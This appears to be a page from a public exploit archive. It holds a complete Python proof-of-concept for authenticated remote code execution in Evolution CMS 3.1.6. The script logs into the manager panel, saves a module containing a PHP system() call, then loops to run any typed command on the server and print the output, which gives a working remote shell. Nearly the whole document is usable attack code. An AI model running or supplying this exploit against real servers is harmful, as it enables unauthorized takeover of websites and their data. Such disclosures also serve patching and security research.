723d6685ec
4 changes to exploits/shellcodes Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated) Seowon 130-SLC router - 'queriesCnt' Remote Code Execution (Unauthenticated) Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated) AlphaWeb XE - File Upload Remote Code Execution (RCE) (Authenticated)
273 lines
No EOL
8 KiB
Python
Executable file
273 lines
No EOL
8 KiB
Python
Executable file
# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
|
|
# Date: 15-09-2021
|
|
# Exploit Author: Halit AKAYDIN (hLtAkydn)
|
|
# Vendor Homepage: https://evo.im/
|
|
# Software Link: https://github.com/evolution-cms/evolution/releases
|
|
# Version: 3.1.6
|
|
# Category: Webapps
|
|
# Tested on: Linux/Windows
|
|
|
|
|
|
# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
|
|
# python3 exploit.py -h
|
|
|
|
|
|
from bs4 import BeautifulSoup
|
|
from time import sleep
|
|
import requests
|
|
import argparse
|
|
import sys
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
|
|
parser.add_argument('-u', '--host', type=str, required=True)
|
|
parser.add_argument('-l', '--login', type=str, required=True)
|
|
parser.add_argument('-p', '--password', type=str, required=True)
|
|
args = parser.parse_args()
|
|
print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
|
|
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
|
|
sleep(2)
|
|
exploit(args)
|
|
|
|
def exploit(args):
|
|
|
|
#Check http or https
|
|
if args.host.startswith(('http://', 'https://')):
|
|
print("[?] Check Url...\n")
|
|
args.host = args.host
|
|
if args.host.endswith('/'):
|
|
args.host = args.host[:-1]
|
|
sleep(2)
|
|
else:
|
|
print("\n[?] Check Adress...\n")
|
|
args.host = "http://" + args.host
|
|
args.host = args.host
|
|
if args.host.endswith('/'):
|
|
args.host = args.host[:-1]
|
|
sleep(2)
|
|
|
|
# Check Host Status
|
|
try:
|
|
response = requests.get(args.host)
|
|
if response.status_code != 200:
|
|
print("[-] Address not reachable!")
|
|
sleep(2)
|
|
exit(1)
|
|
|
|
except requests.ConnectionError as exception:
|
|
print("[-] Address not reachable!")
|
|
sleep(2)
|
|
exit(1)
|
|
|
|
|
|
# Login and cookie set
|
|
session = requests.session()
|
|
url = args.host + "/manager/?a=0"
|
|
cookies = {
|
|
"mybb[lastvisit]": "1631537273",
|
|
"loginattempts": "1",
|
|
"mybb[lastactive]": "1631537588",
|
|
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
|
|
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
|
|
"KCFINDER_showname": "on",
|
|
"KCFINDER_showsize": "off",
|
|
"KCFINDER_showtime": "off",
|
|
"KCFINDER_order": "name",
|
|
"KCFINDER_orderDesc": "off",
|
|
"KCFINDER_view": "thumbs",
|
|
"KCFINDER_displaySettings": "off",
|
|
"evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
|
|
}
|
|
|
|
headers = {
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Content-Type": "application/x-www-form-urlencoded;",
|
|
"Accept": "*/*",
|
|
"Origin": args.host,
|
|
"Referer": args.host + "/manager/",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Accept-Language": "en-US,en;q=0.9",
|
|
"Connection": "close"
|
|
}
|
|
|
|
data = {
|
|
"ajax": "1",
|
|
"username": args.login,
|
|
"password": args.password,
|
|
"rememberme": "1"
|
|
}
|
|
|
|
response = session.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
|
|
new_cookie = response.cookies.get("evoq28fzr")
|
|
user_role = response.cookies.get("modx_remember_manager")
|
|
|
|
if user_role is None:
|
|
print("[-] Login Failed!\n")
|
|
print("[*]",response.text)
|
|
sleep(2)
|
|
exit(1)
|
|
else:
|
|
print("[+] Login Success!\n")
|
|
sleep(2)
|
|
print("[!] Login User", user_role,"\n")
|
|
sleep(2)
|
|
|
|
|
|
# User authorization check
|
|
url = args.host + "/manager/index.php"
|
|
cookies = {
|
|
"mybb[lastvisit]": "1631537273",
|
|
"loginattempts": "1",
|
|
"mybb[lastactive]": "1631537588",
|
|
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
|
|
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
|
|
"KCFINDER_showname": "on",
|
|
"KCFINDER_showsize": "off",
|
|
"KCFINDER_showtime": "off",
|
|
"KCFINDER_order": "name",
|
|
"KCFINDER_orderDesc": "off",
|
|
"KCFINDER_view": "thumbs",
|
|
"KCFINDER_displaySettings": "off",
|
|
"webfxtab_modulePane": "0",
|
|
"evoq28fzr": new_cookie,
|
|
}
|
|
|
|
headers = {
|
|
"Cache-Control": "max-age=0",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Origin": args.host,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/manager/index.php?a=108&id=1",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Accept-Language": "en-US,en;q=0.9",
|
|
"Connection": "close"
|
|
}
|
|
data = {
|
|
"a": "109",
|
|
"id": "1",
|
|
"mode": "108",
|
|
"stay": "2",
|
|
"name": "rce",
|
|
"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
|
|
"categoryid": "1",
|
|
"newcategory": '',
|
|
"icon": '',
|
|
"resourcefile": '',
|
|
"post": "system('whoami');",
|
|
"guid": "8d4669cac3afd1f59d416f11eadf3355",
|
|
"properties": "{}",
|
|
"chkallgroups": "on",
|
|
"save": "Submit"
|
|
}
|
|
|
|
response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
|
|
soup = BeautifulSoup(response.text, 'html.parser')
|
|
|
|
if soup.find_all("title")[0].text == "My Evolution Site (Evolution CMS Manager Login)":
|
|
print("[!] Unauthorized user\n\n")
|
|
print("User with module creation permissions is required.")
|
|
exit(1)
|
|
elif soup.find_all("p")[0].text == "You don't have enough privileges for this action!":
|
|
print("[!] Unauthorized user\n\n")
|
|
print("User with module creation permissions is required.")
|
|
exit(1)
|
|
else:
|
|
print ("[+] Exploit Done!\n")
|
|
sleep(2)
|
|
pass
|
|
|
|
while True:
|
|
cmd = input("$ ")
|
|
|
|
# Update Modules
|
|
url = args.host + "/manager/index.php"
|
|
cookies = {
|
|
"mybb[lastvisit]": "1631537273",
|
|
"loginattempts": "1",
|
|
"mybb[lastactive]": "1631537588",
|
|
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
|
|
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
|
|
"KCFINDER_showname": "on",
|
|
"KCFINDER_showsize": "off",
|
|
"KCFINDER_showtime": "off",
|
|
"KCFINDER_order": "name",
|
|
"KCFINDER_orderDesc": "off",
|
|
"KCFINDER_view": "thumbs",
|
|
"KCFINDER_displaySettings": "off",
|
|
"webfxtab_modulePane": "0",
|
|
"evoq28fzr": new_cookie,
|
|
}
|
|
|
|
headers = {
|
|
"Cache-Control": "max-age=0",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"Origin": args.host,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/manager/index.php?a=108&id=1",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Accept-Language": "en-US,en;q=0.9",
|
|
"Connection": "close"
|
|
}
|
|
|
|
data = {
|
|
"a": "109",
|
|
"id": "1",
|
|
"mode": "108",
|
|
"stay": "2",
|
|
"name": "rce",
|
|
"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
|
|
"categoryid": "1",
|
|
"newcategory": '',
|
|
"icon": '',
|
|
"resourcefile": '',
|
|
"post": "system('"+cmd+"');",
|
|
"guid": "8d4669cac3afd1f59d416f11eadf3355",
|
|
"properties": "{}",
|
|
"chkallgroups": "on",
|
|
"save": "Submit"
|
|
}
|
|
|
|
response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
|
|
|
|
|
|
# Run Modules
|
|
url = args.host + "/manager/index.php?id=1&a=112"
|
|
cookies = {
|
|
"mybb[lastvisit]": "1631537273",
|
|
"loginattempts": "1",
|
|
"mybb[lastactive]": "1631537588",
|
|
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
|
|
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
|
|
"KCFINDER_showname": "on",
|
|
"KCFINDER_showsize": "off",
|
|
"KCFINDER_showtime": "off",
|
|
"KCFINDER_order": "name",
|
|
"KCFINDER_orderDesc": "off",
|
|
"KCFINDER_view": "thumbs",
|
|
"KCFINDER_displaySettings": "off",
|
|
"webfxtab_modulePane": "0",
|
|
"evoq28fzr": new_cookie,
|
|
}
|
|
|
|
headers = {
|
|
"Upgrade-Insecure-Requests": "1",
|
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
"Referer": args.host + "/manager/index.php?a=108&id=1",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Accept-Language": "en-US,en;q=0.9",
|
|
"Connection": "close"
|
|
}
|
|
|
|
response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
|
|
if response.text == "":
|
|
print(cmd + ": command not found\n")
|
|
else:
|
|
print(response.text)
|
|
|
|
if __name__ == '__main__':
|
|
main() |